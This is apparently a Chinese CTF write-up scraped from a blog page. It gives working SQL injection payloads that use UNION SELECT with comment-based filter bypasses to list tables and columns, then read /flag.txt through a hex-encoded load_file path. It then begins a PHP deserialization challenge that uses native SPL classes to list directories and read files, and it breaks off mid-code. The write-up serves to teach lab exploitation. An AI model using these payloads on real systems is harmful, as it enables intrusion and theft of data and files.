赞
踩
源码给了查询语句
$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";
过滤单引号,但没过滤双引号,所以选择闭合后面的用户名进行union查询
查表名
query=-1"/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
//f1agdas,users
查字段
query=-1"/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name="f1agdas"%23
//id,f1agdas
查数据
query=-1"/**/union/**/select/**/f1agdas,2,3/**/from/**/f1agdas%23
//flag.txt
返回一个文件名,使用load_file读取/flag.txt获得flag,flag被过滤了,可以使用16进制编码绕过
query=-1"/**/union/**/select/**/load_file(0x2F666C61672E747874),2,3%23
题目给了源码,序列化的题目,但是源码中并没有可以利用的类,所以是php原生类的利用
spl,标准php类库,里面存着一些php原生类,其中有可以遍历目录或读取文件
DirectoryIterator 遍历目录 直接echo会输出目录下的.(即表示当前目录的符号)
FilesystemIterator 遍历目录 直接echo会输出目录下第一个文件夹或文件名
SplFileObject 读取文件内容,按行读取,跨行需要遍历
源码如下
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this<
赞
踩
赞
踩
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。